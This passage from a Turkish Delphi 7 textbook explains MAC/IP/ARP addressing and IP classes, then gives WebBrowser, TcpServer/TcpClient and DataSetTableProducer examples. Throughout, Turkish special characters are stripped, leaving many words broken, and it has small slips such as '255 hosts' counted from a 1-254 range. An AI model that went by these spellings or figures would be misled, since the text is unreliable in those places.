ncelikle belirtmek istediim husus , MAC adresidir. Bu adres a ortamna katlan bilgisayarn, a adaptrnde (ethernet kart- modem vs) olmas gereken ve sz konusu bilgisayar ortamda tantacak olan esiz (baka bir bilgisayar kullanamaz) bir deerdir (Hexadecimal). Bir bilgisayarn MAC adresini renmek iin Start->Programs->Accessories->Command Prompt admlarn izleyebilirsiniz. Bu ekranda ipconfig/all yazp enter tuuna basarsanz, adaptr kartna ait tm bilgileri kolayca renebilirsiniz. A ortamna katlan bilgisayarlarn iletiimi MAC adresleri arasnda gereklemektedir. Fakat kullanc bu adres deerini kullanarak haberlemeye kalkarsa byk olaslkla hatalara sebebiyet verecektir. Bu yzden MAC adresi ile IP (bu adres mac adresine gre daha anlalrdr) adresi arasnda bir ba kurma zorunluluu domaktadr. 290

Bilgisayarda TCP/IP konfigrasyonunu gerekletirdiimiz zaman MAC adresi ile IP adresi arasnda bir ba kurmu olmaktayz. Yani bizim IP numaramz yazan bir kullanc, bu konfigrasyon sayesinde IP numaramz kullanarak MAC numaramza ulamaktadr. Bundan sonraki ksm ise bilgisayar ierisinde kullanlan paket yazlmlarna kalmaktadr. IP numaras yazlarak dier bilgisayara balanlmak istendiinde devreye ARP (Adress Resolation Protocol) protokol girerek (TCP/IP ierisinde alt protokol olarak bulunur) belirtilen IP numarasnn hangi bilgisayara (MAC adresine) ait olduunu size bildirir. Adres tespit edildikten sonra kullandnz yazlmlarla istenildii ekilde haberlemek mmkn olacaktr. kinci olarak bilgisayarnz iin kullanlan IP Numaras ile ismi arasndaki zmleme ileminden bahsedeceim. Bilgisayarlarda NETBIOS ne DNS olmak zere iki eit isimlendirme kullanlmaktadr. rnek zerinde izah edecek olursak, bilgisayarnzn isminin ALBATROS olduunu varsayalm. Sz konusu bilgisayar internet ortamnda www.deniz.com web adresine sahip irketin DENIZ.COM isimli domain ortamna katlr ise ayn zamanda albatros.deniz.com DNS ismine de sahip olmu olacaktr. Ayn domain yesi dier bir bilgisayardan albatros isimli bilgisayarda paylama alm olan Rapor2003 isimli klasre ulamak iin (o klasr ierisindeki dier elemanlar grebilmesi iin) Start->Run admlarn izleyerek alan pencereye aadaki komutu yazmas yeterli olacaktr (Security sorununun olmad varsayld). \\albatros\rapor2003 Network ortamnda dier bir bilgisayara ait path yazlm iki adet ters sla ile balamak zorundadr hatrlatalm (Delphi 7 Kitabmzda bu konulara rneklendirmeler yaplmtr). Burada balant yolu olarak kullanlan isim 291

bilgisayarn NETBIOS ismidir.Ayn adres yazlmn aadaki ekilde de gerekletirebilirsiniz. Aralarndaki tek fark . Kullanlan adreslerin sadece DNS tarafndan zmlenebildiidir.

DNS Domain Name System olarak adlandrlan ve 1980 lerde a ortamndaki bilgisayar saysnda oluan artma sonucu isimleme zmlemelerinde oluan yeni problemleri zmeye ynelik oluturulmu olan bir veritabandr. simlendirme iin . Kullanlmayan sistemlerde adres zmlemek iin microsoft tarafndan gelitirilmi ikinci yntemse WINS olarak adlandrlmakta genellikle eskiye ynelik iletim sistemlerinde yer alan isimlerin zmlenebilmesi iin kullanlmaktadr. Her iki isim zmlemesi durumunda da kullancnn belirttii bilgisayar ismine karlk gelen IP adresinin bulunmas atlan ilk adm olacaktr. Sz konusu adres tespit edildiinde, bilgisayara ait MAC adresi kullancya gnderilmektedir. Bu aamada devreye ARP girerek MAC adresi iin gerekli olan zmlemeyi yapar. Artk iletiim bu iki MAC adresinin bulunduu bilgisayarlar arasnda gerekleecektir. ayet biliniyorsa IP Numaras kullanlarak dier bilgisayar ierisinde paylama ak klasrlere de ulalabilir. Yapmanz gereken tek ey IP Numaras yazp ardndan klasrn ismini girmekten ibaret olacaktr. ALBATROS isimli bilgisayarn IP Numaras 200.200.200.3 ise aadaki ekilde ayn klasre ulalabilecektir.

Adresi yazp OK buttonuna tklaynz (security sorunu yok sayld). 292

TCP/IP genel olarak 32-bit adresleme sistemi olarak tarif edilir. Burada belirtilmek istenen husus TCP/IP ile yaplandrlan bilgisayarn bir nevi etiketlendirildiidir. yleki sz konusu adreslemenin yapld bilgisayar ortamda benzersiz bir tanmlamaya sahip olacaktr. TCP/IP adresleme sistemi telefon numaralandrma sistemine benzer bir yapya sahiptir. rnein Ankara-Maltepe semtinde yer alan tm telefon numaralar (090)(312)(231)(......) rakamlarn ierir. Eer GMMF ne ulalmak istenirse sonuna (7400) eklemeniz yeterli olacaktr. Sonu olarak Ankara ehri Maltepe semtinde bulunan tm kullanclar tanmlayan ksm ile, GMMFsini tanmlayan zel ksmdan oluan bir sistem vardr. Dolaysyla 090 312 231 7400 numaral telefon bir tek kullancda olabilir. rneimizden yola karak network ortammz aklamaya alacak olursak a ortamna kattmz bilgisayarmza verdiimiz IP adresinin bir ksm ierisinde yer aldmz a tanmlarken (Network ID), ikinci ksmda bilgisayarmz benzersiz yapacak olan zel blmden (Host ID) ibaret olacaktr. ALBATROS isimli bilgisayara ait verileri aada vererek biraz beyin jimnastii yapmaya alalm.
Kategori Bilgisayar Ad: IP Numaras: Subnet Mask ALBATROS 200.200.200.8 255.255.255.0 Sonu

Hatrlatalm IP Numaras birbirinden nokta ile ayrlm drt farl saydan oluur. Ayn ekilde Subnet Mask deeride yine birbirlerinden nokta ile ayrlm 0-255 aras drt adet saydan olumaktadr. Yukardaki rneimiz iin daha nceden bahsettiimiz deerler aada verilmitir.
Kategori Network ID Host ID Subnet Mask 200.200.200 8 255.255.255.0 Sonu

Sonu olarak yukardaki deerlere sahip olan bir bilgisayar ile Router kullanmadan ayn Network ID ve ayn Subnet Mask deerlerine sahip tm bilgisayarlar haberleebilecektir (Host deerlerinin zaten ayn olmas beklenemez). ki farkl bilgisayarn Router kullanmadan haberleebilmesi iin ayn segment ierisinde yer almalar gerekmektedir. imdi yukardaki bilgisayar ile ayn segmenti paylaan dier bilgisyarlar ve deerlerini belirleyelim. Tm bilgisayarlara ait deerler aadaki tabloda verilmektedir.

293

Bilgisayar Ad Farkl Albatros

MAC Adresi Farkl

Network ID Ayn 8

Host ID Farkl

Subnet Mask Ayn 255.255.255.0

00-00-21-50-D7-22 200.200.200

Dier Bilgisayar 00-00-21-36-7A-36 200.200.200

0-255 (8 hari) 255.255.255.0

Buradaki MAC numarasnn retici firma tarafndan verilen benzersiz bir numara olduunu hatrlatalm. TCP/IP nin , 32 bit adresleme sistemini kullandn daha nceki izahatlarmzda belirtmitik. Yani 32 adet 0 ile 1 in yan yana yazlm halini dnn. Aynen aada gsterildii ekilde. 11001000110010001100100000001000 imdi bu yazm her sekiz rakamdan sonra bir nokta koyarak biraz daha anlalr hale getirelim. 11001000.11001000.11001000.00001000 Yukarda 4 octed (4 sekizli) ten oluan IP numaras verilmitir. Her sekizli 0255 arasnda deer alabilecektir (ikilik sistemi onluk sisteme evireceiz). Yani (11001000)2=1*2^7+1*2^6+0*2^5+0*2^4+1*2^3+0*2^2+0*2^1+0*2^=200 Sonu IP Numaras=200.200.200.8 eklinde olacaktr.

TCP/IP ile a yaplandrmas yaparsak 32-bit lik yntemle ka adet bilgisayar tanmlayabiliriz? Basit gibi grnen bu soru dikkat edilecek nemli hususlar da beraberinde getirmekte, hemen izah edelim. Her bir sekizli minimum sfr (0), maximum (255) deerini alabildiine gre 256*256*256*256 adet bilgisayar adresi bulunacaktr. Bu adreslerin tamamnn bilgisayarlar iin kullanlabilmesi fiziksel adan mmkn olamamaktadr. nk byle bir adresleme ile tanmlanan tm bilgisayarlarn birbirleri ile direk haberleebilmesi salanacaktr. Tm kurumlarn (gizli bilgileri olan kurumlarda dahil) a ortamnda birbirleriyle haberlemesi nemli gvenlik sorunlarn ortaya karacaktr. Bu ve benzeri dier sebeplerden dolay farkl deerler iin tanmlanm 5 (be) deiik IP snf bulunmaktadr. Herbirinin balang deeri dierlerininkinden farkl olacaktr. Aada network ortamnda kullanlabilen tm IP snflar balang deerleriyle beraber tablo halinde sizlere sunulmutur. Dikkatlice incelemenizi tavsiye ederim. 294

Class A Class B Class C Class D Class E Class 1-126 128-191 192-223 224-239 240-254

Balang Octed Deeri

Dikkat edin teorik olarak mmkn gzkmekle beraber ilk sekizli deerinin 0veya 255 olmas mmkn olamamaktadr. Sebebini izah etmek isterdim ama biraz teknik bir husus eer daha detayl bilgi almak isterseniz Windows 2003 Server kitabmzdan faydalanabilirsiniz. A Class Bu snfa ait IP numaralar zellikleri aada verilmektedir.
Network ID Host ID rnek IP Numaras Subnet Mask 1-126 0-255 121.12.5.85 255.0.0.0 Sadece ilk Sekizli Son Sekizli -

B Class Bu snfa ait IP numaralar zellikleri aada verilmektedir.


Network ID Host ID rnek IP Numaras Subnet Mask 128-191 0-255 165.200.99.3 255.255.0.0 Sadece ilk ki Sekizli Son ki Sekizli -

C Class Bu snfa ait IP numaralar zellikleri aada verilmektedir.


Network ID Host ID rnek IP Numaras Subnet Mask 192-223 0-255 200.200.200.8 255.255.255.0 llk Sekizli Son Sekizli -

Grld gibi ALBATROS isimli bilgisayarn yer ald segment C snf bir blgede yer almaktadr. Yeri gelmiken ALBATROS isimli bilgisayarn yer ald segment ierisinde dorudan ka bilgisayar birbiriyle haberleebilir sorusunun yant Network ID numaralar ayn olaca iin deiebilecek olan

295

sadece son sekizli olacaktr. Son sekizlinin de alabilecei deer 1-254 aras olaca iin maximum 255 adet bilgisayar birbirleriyle haberleebilir. Ayn rnei B Class na ait bir IP numaras iin yapacak olursak, aadaki rnei inceleyiniz. IP Numaras Subnet Mask :165.200.99.3 :255.255.0.0

Buradaki Network ID ksm 165.200 tm bilgisayarlarda ayn olaca iin deiecek olan ksm son iki sekizli olacaktr. Bu yzden 256*254=65024 adet bilgisayar birbirleriyle dorudan haberleebilecektir (254 deeri 0 ile 255 karldktan sonra elde edilmitir). Dier segmentler ile ancak Router cihaz kullanlarak haberleilebilir (Bu tr balantlarda bilgisayarnzn daha ar altn greceksiniz). ayet programnz internete almayan bir a iin yazacaksanz yukardaki ayarlar firmaya ait Network mhendisinden yardm alarak gerekletirmelisiniz (belki de tamamn network mhendisi yapacaktr ama siz yinede iinize yarayacak kadarn reniniz). Eer internet zerinden kullanlacaksa gerekli deerleri (IP Numaras-Subnet Mask vs) zaten balanty saladnz anda servis salaycnz tarafndan otomatik olarak bilgisayarnza aktarlacaktr. ayet internet zerinden devaml olarak hizmet veren bir web Server uygulamas gelitirecekseniz, servis salaycnzdan bir adet static IP numaras satn almalsnz (aksi takdirde bilgisayarnzn IP numaras deiebilecei iin bilgisayarnz kapatp tekrar balanrsanz byk olaslkla sorunlarla karlaacaksnz). Buradan sonra gsterilecek olan kontroller anlatlan konular dikkate alarak hesap yapmakta ona gre balant ilemlerini gerekletirebilmektedir. Bu konular zerinde daha detayl bilgi edinmek iin www.prestigeturk.com adresi ile balant kurabilir, veya piyasada bulunan Windows 2003 Server kitabmz (Prestij Yaynclk) temin edebilirsiniz.

296

Internet Kontrolleri: imdi sizlere internet zerinde genel amal kullanabileceiniz kontrollerden bahsedeceim. Proje ierisinde Internet yapra altnda bu kontrollere ulaabilirsiniz. WebBrowser Kontrol: Bu kontrol sayesinde web sayfalar arasnda gezinebilir. stediiniz sayfay aktif hale getirebilirsiniz. Aada kontrol tarafndan kullanlan zellikler izah edilmektedir. WebBrowser1.Navigate Parametre ile belirtilen web sayfasna erimek iin kullanlan methoddur. Aadaki ekilde kolayca kullanlabilir. procedure TForm1.FormCreate(Sender: TObject); begin WebBrowser1.Navigate('www.Prestigeturk.com'); end;

Adres deerini string olarak girebileceiniz gibi aadaki ekilde formunuzun zerindeki bir kontroldende aktarabilirsiniz. 297

procedure TForm1.FormCreate(Sender: TObject); begin WebBrowser1.Navigate(ComboBox1.Text); end; atey olay ComboBox kontrolnden faydalanarak gerekletirecekseniz. OnClick yordamn kullanmalsnz. procedure TForm1.ComboBox1Click(Sender: TObject); begin WebBrowser1.Navigate(ComboBox1.Text); end; WebBrowser1.GoHome Ana Sayfaya dnmek iin kullanlan methoddur. Kastedilen ana sayfa Internet Explorer tarafndan belirlenmi olan sayfann web adresidir. procedure TForm1.Button1Click(Sender: TObject); //Ana Syfaya Dn begin WebBrowser1.GoHome; end; WebBrowser1.GoBack Dolatnz sayfalar ierisinde bir nceki sayfaya ulamak iin kullanlan methoddur. procedure TForm1.Button2Click(Sender: TObject); //nceki Sayfaya Dn begin WebBrowser1.GoBack; end; Burada yeri gelmiken belirtelim. ayet ilk sayfada iseniz ve gidecek baka sayfa olmad zaman uygulamanz size hata mesaj iletecektir. Oluabilecek bu mesaj engelleyebilmeniz iin kodu aadaki ekilde deitirmek zorundasnz (Ayn durum sonraki sayfa iinde geerli olacaktr).

298

procedure TForm1.Button2Click(Sender: TObject); //nceki Sayfaya Dn begin try WebBrowser1.GoBack; except Button2.Enabled:=false; end; end; WebBrowser1.GoForward WebBrowser ierisinde bir sonraki sayfaya geilebilmesi iin kullanlan methoddur. ayet bu sayfa yoksa hata mesaj verecektir. Bu yzden aadaki ekilde kullanmalsnz. procedure TForm1.Button3Click(Sender: TObject); //Sonraki Sayfaya Git begin try WebBrowser1.GoForward; Except //hata olursa iler Button3.Enabled:=false; end; end; WebBrowser1.GoSearch Internet Explorer ierisinde belirlenmi olan arama sayfasna ulamak iin kullanlan methoddur. procedure TForm1.Button4Click(Sender: TObject); //Arama Sayfasna Git begin WebBrowser1.GoSearch; end; WebBrowser1.LocationURL Balanlan sayfann web adresini tutan zelliidir. Sayfa deitii zaman ComboBox ierisindeki veriyi bu zellikle deitirebilirsiniz. 299

procedure TForm1.Button1Click(Sender: TObject); //Ana Syfaya Dn begin WebBrowser1.GoHome; ComboBox1.Text:=WebBrowser1.LocationURL; end; WebBrowser1.LocationName Balandnz sayfann adresinin bulunduu ilk ismi dndren zelliidir. Uygulama 1: WebBrowser rnei Aadaki tasarm oluturup gerekli kod blounu Unit pencerenizdeki yordamlara ekleyiniz.

procedure TForm1.FormCreate(Sender: TObject); begin ComBoBox1.Items.Add('http://www.prestigeturk.com'); ComBoBox1.Items.Add('http://www.gazi.edu.tr'); ComBoBox1.Items.Add('http://www.superonline.com'); ComBoBox1.Items.Add('http://www.mynet.com'); ComboBox1.ItemIndex:=0;//ilk eleman gster WebBrowser1.Navigate(ComboBox1.Text); end; procedure TForm1.ComboBox1Click(Sender: TObject); begin 300

WebBrowser1.Navigate(ComboBox1.Text); Button2.Enabled:=true; Button3.Enabled:=true; end; procedure TForm1.Button1Click(Sender: TObject); //Ana Syfaya Dn begin WebBrowser1.GoHome; ComboBox1.Text:=WebBrowser1.LocationURL; end; procedure TForm1.Button2Click(Sender: TObject); //nceki Sayfaya Dn begin try WebBrowser1.GoBack; except Button2.Enabled:=false; Button3.Enabled:=true; end; end; procedure TForm1.Button3Click(Sender: TObject); //Sonraki Sayfaya Git begin try WebBrowser1.GoForward; except Button3.Enabled:=false; Button2.Enabled:=true; end; end; procedure TForm1.Button4Click(Sender: TObject); //Arama Sayfasna Git begin WebBrowser1.GoSearch; ComboBox1.Text:='www.mmicrosoftsourch.com'; end; procedure TForm1.ComboBox1Change(Sender: TObject); begin WebBrowser1.Navigate(ComboBox1.Text); Button2.Enabled:=true; Button3.Enabled:=true; end;

301

procedure TForm1.ComboBox1KeyPress(Sender: TObject; var Key: Char); begin if Key=#13 Then WebBrowser1.Navigate(ComboBox1.Text); end; Uygulama 2:Sakncal Sayfalar in WebBrowser rnei Aadaki uygulamada belirleyeceimiz kelimelerin ierisinde geecei web sayfalarna girii engelleyeceiz. Burada kullanlan WebBrowser1DownloadBegin yordam web sayfas indirilmeye baland anda otomatik olarak ileyecektir. Burada yaptracanz kontrolle sayfann gvenli olup olmadn kontrol ettirebilirsiniz.

Yukardaki formda ComboBox ierisine sex veya eritica kelimelerini kullanrsanz sayfay aamayacak ve aadaki mesaj ile karlaacaksnz.

Mesaj iletildikten ulalabilmektedir. 302

sonrada

belirtilen

kod

erevesinde

ana

sayfaya

Uygulama iin kullanlan tm kod blou aada verilmitir. Dikkatlice inceleyiniz. procedure TForm2.FormCreate(Sender: TObject); begin ComboBox1.Items.Add('http://www.prestigeturk.com'); ComboBox1.Items.Add('http://www.microsoft.com'); ComboBox1.Items.Add('http://www.mynet.com'); ComboBox1.Items.Add('http://www.superonline.com'); ComboBox1.ItemIndex:=0;//ilk eleman gster WebBrowser1.Navigate(ComboBox1.Text); RadioButton1.Checked:=true; end; procedure TForm2.Button1Click(Sender: TObject); //Ana Sayfaya Git begin WebBrowser1.GoHome; end; procedure TForm2.Button2Click(Sender: TObject); //nceki Sayfa begin try WebBrowser1.GoBack; ComboBox1.Text:=WebBrowser1.LocationURL; except Button2.Enabled:=false; end; end; procedure TForm2.Button3Click(Sender: TObject); //Sonraki Sayfa begin try WebBrowser1.GoForward; ComboBox1.Text:=WebBrowser1.LocationURL; except Button3.Enabled:=false; end; end; procedure TForm2.Button4Click(Sender: TObject); //Arama Sayfasna Git begin WebBrowser1.GoSearch; WebBrowser1.Navigate('www.microsoftsourch.com');//siz deitirin 303

end; procedure TForm2.WebBrowser1DownloadBegin(Sender: TObject); var i,j:Integer; aranan:AnsiString; begin aranan:=ComboBox1.Text; Form2.Text:=aranan; i:=Pos('sex',aranan);//iinde ara j:=Pos('erotica',aranan); if (i<>0)or(j<>0) Then //inde varsa begin if RadioButton2.Checked Then//iaretli ise begin ShowMessage('Bu Sayfa ocuklara Gre Deil'); WebBrowser1.GoHome;//Ana sayfaya dn ComboBox1.Text:='http://www.mynet.com';//ana sayfanz neyse exit; end; end; end; procedure TForm2.ComboBox1KeyPress(Sender: TObject; var Key: Char); begin if Key=#13 Then begin WebBrowser1.Navigate(ComboBox1.Text); ComboBox1.Items.Add(ComboBox1.Text); end; end; procedure TForm2.ComboBox1Click(Sender: TObject); begin WebBrowser1.Navigate(ComboBox1.Text); ComboBox1.Items.Add(ComboBox1.Text); end; Uyar:Bu kontrol sisteminizin kulland Browser zerinden sayfalara ulaabilmektedir. Bu yzden muhakkak kullandnz bir Browserin bilgisayarnzda aktif olmas gerekecektir.

304

TcpServer Kontrol Bu kontrol sayesinde Tcp/IP kullanan alarda haberleme ilemi kolayca salanabilmektedir. Kontrole ait zellikler aada listelenmektedir. TcpServer1.LocalPort Bilgisayarlarn birbirleriyle haberleecekleri port bu zellikle belirlenir. Port numaralarnda dikkat etmeniz gereken bir husus vardr. Bir veriyi hangi numaradan gnderiyorsanz, yine o numaral porttan dinlemelisiniz. Aksi takdirde port dinleme ileminiz baarszlkla sonulanacaktr. procedure TForm1.FormCreate(Sender: TObject); begin TcpServer1.LocalPort:=20000;//string tip end; TcpServer1.Active Portun dinlenmeye balanmas iin gerekli olan zelliktir. True deerinin aktarlmas o portun dinlemeye alnd anlamn tamaktadr (Bu ilemi port numarasn belirledikten sonra yapn). procedure TForm1.FormCreate(Sender: TObject); begin TcpServer1.LocalPort:=20000; TcpServer1.Active:=True;//20000 numaral portu dinlemeye al end; OnAccept Yordam TcpServer kontrol bu yordam kullanarak portan gelen veriyi ve bilgiyi gnderen bilgisayara ait zellikleri renebilir. Aadaki ekilde tanmlanmtr. Ltfen aklamalara dikkat ediniz. procedure TForm1.TcpServer1Accept(Sender: TObject; ClientSocket: TCustomIpClient); begin end;

305

Prosedr ierisinde ClientSocket isimli bir deiken tanmldr. Bu deikeni kullanarak gnderilen mesaj, gnderen bilgisayarn IP numarasn, bilgisayar ismini, port numarasn vs. kolayca renebilirsiniz. ClientSocket.RemoteHost Bu zellik ile mesaj gnderen bilgisayarn IP numarasn renebilirsiniz. procedure TForm1.TcpServer1Accept(Sender: TObject; ClientSocket: TCustomIpClient); begin ListBox1.Items.Add(ClientSocket.RemoteHost); //ip numarasi end; ClientSocket.LocalHostAddr Bu zellikle lokal bilgisayarn IP numaras renilebilir. procedure TForm1.TcpServer1Accept(Sender: TObject; ClientSocket: TCustomIpClient); begin ListBox1.Items.Add(ClientSocket.LocalHostAddr);//ip numaras end; ClientSocket.LocalHostName Bu zellik ile Bilgisayarn ismini renebilirsiniz. procedure TForm1.TcpServer1Accept(Sender: TObject; ClientSocket: TCustomIpClient); //Bilgisayar ismi begin ListBox1.Items.Add(ClientSocket.LocalHostName);//bilgisayarn ad end; ClientSocket.Receiveln() Porta gelen veri bu method kullanlarak okunabilir. Methoddan geriye string ierikli deer dnd iin direk string tipte bir deikene aktarlabilir.

306

procedure TForm1.TcpServer1Accept(Sender: TObject; ClientSocket: TCustomIpClient); var x:AnsiString; begin ListBox1.Items.Add(ClientSocket.RemoteHost); //ip numarasi x:=ClientSocket.Receiveln();//portu oku ListBox2.Items.Add(x); //ListBoxa aktar end;

307

TcpClient Kontrol Bu kontrol kullanarak TCPServer kontrolne bilgi gnderilebilir, veya TCPServer kontrolnden gelen mesajlar okunabilir. Kontrole ait genel zellikler aada verilmitir. TcpClient1.RemoteHost Bu zellik sayesinde mesajn gnderilecei bilgisayar belirlenecektir. Aktarlacak olan deer string tipte veri olup, dier bilgisayarn IP numaras olacaktr. procedure TForm1.Button1Click(Sender: TObject); begin TcpClient1.RemoteHost:='10.11.0.180' ;// bu makineye mesaj gnderilecek end; TcpClient1.RemotePort Dier bilgisayarla haberleilecek olan port numaras bu zellikle belirlenir. String tipte bir deer atanabilir. Unutmayn TcpServer hangi portu dinliyorsa o numaral porttan veri gnderebilirsiniz. procedure TForm1.Button1Click(Sender: TObject); begin TcpClient1.RemoteHost:='10.11.0.180' ;// bu makineye mesaj gnderilecek TcpClient1.RemotePort:='20000';//Bu porttan gnderilecek end; TcpClient1.Active Balant ileminin gerekleebilmesi iin gerekli olan zelliidir. kinci kez veri aktarlaca zaman tekrar aktifletirilmelidir. procedure TForm1.Button1Click(Sender: TObject); begin TcpClient1.Active:=false; //kapat TcpClient1.Active:=True;//A end;

308

TcpClient1.Sendln() TcpServer kontrolne mesaj gndermek iin kullanlan methoddur. Gnderilecek olan mesaj string tipte bir deikenin deeri olacaktr. procedure TForm1.Button1Click(Sender: TObject); begin TcpClient1.Active:=false; //kapat TcpClient1.RemoteHost:='10.11.0.180' ;// bu makineye mesaj gnderilecek TcpClient1.RemotePort:='20000';//Bu porttan gnderilecek TcpClient1.Active:=TRUE; //a TcpClient1.Sendln('NEHABER');//Gnder end; OnConnect Yordam TcpServer kontrol ile balant saland anda otomatik olarak ileyen bir yordamdr. procedure TForm1.TcpClient1Connect(Sender: TObject); begin ShowMessage('Server le Balant Saland'); end; OnDisConnect Yordam TcpServer bilgisayar ile balant koptuu anda otomatik olarak ileyen bir yordamdr. TcpClient1.Active:=false satr bu yordam iletecektir. procedure TForm1.TcpClient1Disconnect(Sender: TObject); begin ShowMessage('Balant Kesildi'); end; OnSend Yordam TcpServer kontrolne mesaj gnderildii anda otomatik olarak ileyen bir yordamdr. procedure TForm1.TcpClient1Send(Sender: TObject; Buf: PAnsiChar; var DataLen: Integer); begin Label1.Caption:='Mesaj Gnderiliyor'; end;

309

Uygulama 3:Dier Bilgisayardaki Tabloyu Sorgulamak: rneimiz iin iki adet uygulama gelitireceiz. Birincisi tablo bilgilerimizin yer ald server uygulamas (server uygulamasnn iletim sistemiyle herhangi bir ilgisi yoktur. TcpServer kontroln kulland iin server uygulamas olarak adlandrlacaktr), ikincisiyse rnn numarasn dier bilgisayardan gnderecek olan Client uygulamas. ki projeye ait tasarm aada verilmektedir. Admlar srasyla izleyiniz. Server Uygulamas: Bu uygulama iin ncelikle aadaki tabloyu paradox ierisinde oluturup gazi aliasnn ierisine URUN ismiyle kaydediniz.

Ardndan ierisine gerekli olan kaytlarnz giriniz. Artk formunuzun tasarmna balayabilirsiniz. Birinci admda formunuza bir adet Query kontrol ekleyerek DataBaseName zelliine gazi ismini aktarnz. kinci admda formunuza bir adet DataSource kontrol yerletirip DataSet zelliine Query1 kontroln aktarnz. nc admda formunuza bir adet DBGrid nesnesi yerletirip DataSource zelliine DataSource1 kontroln aktarnz.

310

Drdnc admda formunuza Internet yapranda yer alan TcpServer kontrolnden bir adet yerletirerek aadaki tasarm oluturunuz.

Beinci adm olarak aadaki kod blounu Unit pencerenize ekleyiniz. procedure TForm1.FormCreate(Sender: TObject); //Alta hepsini gster begin Query1.SQL.Clear; Query1.SQL.Add('Select * From URUN'); Query1.Open; TcpServer1.LocalPort:='20000'; TcpServer1.Active:=True; end; procedure TForm1.TcpServer1Accept(Sender: TObject; ClientSocket: TCustomIpClient); //Porttan oku ve sorgula var veri:AnsiString; deger:Integer; begin veri:=ClientSocket.Receiveln();//portu oku deger:=StrToInt(veri); Query1.SQL.Clear; Query1.SQL.Add('Select * From URUN Where BARKODNO=:BAR'); Query1.Params[0].AsInteger:=deger; Query1.Open; end; imdi oluturduunuz bu projeyi kaydedip dier uygulamay gelitirmeye balaynz (kaydettikten sonra bir kez altrn, exe si olusun). 311

Client Uygulamas Server uygulamasna parametre deerini gnderecek olan Client uygulamas iin aadaki tasarm oluturunuz.

Birinci admda formunuza bir adet label, bir adet Edit ve bir adet Button kontrol yerletiriniz. kinci admda formunuza Internet yapranda yer alan TcpClient kontrolnden bir adet yerletirip aadaki kod blounu da Unit penceresine ekleyiniz. procedure TForm1.Button1Click(Sender: TObject); var veri:AnsiString; begin veri:=Edit1.Text; TcpClient1.Active:=false; TcpClient1.RemotePort:='20000'; TcpClient1.RemoteHost:='10.11.0.180';//Dier IP Numaranz olacak TcpClient1.Active:=true; TcpClient1.Sendln(veri);//gnder end; imdi server uygulamasn altrn. Aadaki ekilde tm kaytlar listelenecektir.

312

imdi de Client uygulamasnn exe sini altrp iki pencereyide aadaki ekilde alt alta aln. Server Uygulamas

Client Uygulamas

Client Uygulamasnda Edit kutusuna sorgulama kriteriniz olan Barkod Numarasn girip Gnder isimli dmeye tklaynz. Server Uygulamas iin ekran grntnz yukardaki pencerede olduu gibi sadece 50 numaral rnn gsterildii tek kaytlk bir hal alacaktr.

313

DataSetTableProducer Kontrol Bu kontrol sayesinde hi bir kod kullanmadan tablolarnzdaki kaytlar html formatna aktarp web sayfanzda yaymlayabilirsiniz. Kullanm sonderece basittir. Aada zellik ve methodlar verilmektedir. DataSetTableProducer1.DataSet Html kodu oluturulacak tablo bu zellikle belirlenir. Kodla veya Object Inspector penceresinden belirleyebilirsiniz. procedure TForm1.ListBox1Click(Sender: TObject); begin DataSetTableProducer1.DataSet:=Table1; end; DataSetTableProducer1.Caption Html kodu ierisinde Title da yer alacak balk bu zellikle belirlenir. procedure TForm1.ListBox1Click(Sender: TObject); begin DataSetTableProducer1.Caption:='SIRKET KAR DURUMU'; End; DataSetTableProducer1.content DataSetTablePageProducer kontrol table nesnesine baland anda retilecek olan html kodu bu komut sayesinde gerekleecektir. Geriye dnen deer string tipte olup AnsiString bir deikene direk olarak atanabilir. procedure TForm1.ListBox1Click(Sender: TObject); //html kodu ret var html:AnsiString; begin html:=DataSetTableProducer1.content; //kodu ret end;

314

Uyglama 4:Tablolar Web Sayfasnda Grntlemek Aadaki uygulamada gazi alias ierisindeki tm tablolar ListBox ierisinde listelenmekte, seilen tablo kaytlar iin, memo1 kontrolnde html kodu, WebBrowserdada Web sayfas grnm listelenmektedir. Aadaki tasarm oluturp gsterilen admlar srasyla izleyiniz.

Birinci admda formunuza bir adet ListBox, Bir adet Memo,Bir adet Table,bir adet DataSource, Bir adet DBGrid, bir adet WebBrowser kontrol yerletirin. kinci admda tablonuza ait DataBaseName zelliine gazi aliasn aktarnz (tablolarmz bu aliasn ierisinde). nc admda DataSource nesnenize ait DataSet zelliine Table1 kontroln aktarnz. Drdnc admda DBGrid nesnesine ait DataSource zelliine DataSource1 deerini aktarnz. Altnc admda Table1 kontrolne ait Active zelliini true yapnz. Bu aamadan sonraki ksm program koduyla gerekletireceiz. Bu yzden yedinci adm olarak aadaki kod blounu Unit pencerenize ekleyiniz.

315

procedure TForm1.FormCreate(Sender: TObject); //gazi alias ierisindeki tablolar listboxa ekle var deger:TStrings; begin deger:=TStringList.Create;//yarat Session.GetTableNames('gazi','*.*',true,false,deger);//tablolar deger e al ListBox1.Items:=deger; //tm tablolar gster Table1.DatabaseName:='gazi'; //bu kod bloundan sonra listBox ierisinde tm tablolar listelenecektir end; procedure TForm1.ListBox1Click(Sender: TObject); var i:Integer; begin Table1.Close; i:=ListBox1.ItemIndex; Table1.TableName:=ListBox1.Items[i]; if i=0 Then DataSetTableProducer1.Caption:='SIRKET KAR DURUMU' else if i=1 Then DataSetTableProducer1.Caption:='MAGAZA BILGILERI' else if i=2 Then DataSetTableProducer1.Caption:='MUSTERI BILGILERI' else if i=3 Then DataSetTableProducer1.Caption:='SERVIS BILGILERI' else if i=4 Then DataSetTableProducer1.Caption:='URUN BILGILERI'; Table1.Open; DataSetTableProducer1.DataSet:=Table1; Memo1.Text:=DataSetTableProducer1.content; //html kodu ret Memo1.Lines.SaveToFile('c:\yenitablo.html');//kaydet WebBrowser1.Navigate('c:\yenitablo.html');//sayfay grntle end;

316

Programnz altrdktan sonra ListBox kontrol ierisinde yer alacak olan tablolardan bir tanesine tklayn. Ekran grntnz aadaki ekilde gerekleecektir.

Sa altta yer alan grntnn WebBrowser a ait olduunu sanyorum fark etmisinizdir.

317

318

BLM 12 INDY KONTROLLER

319

320

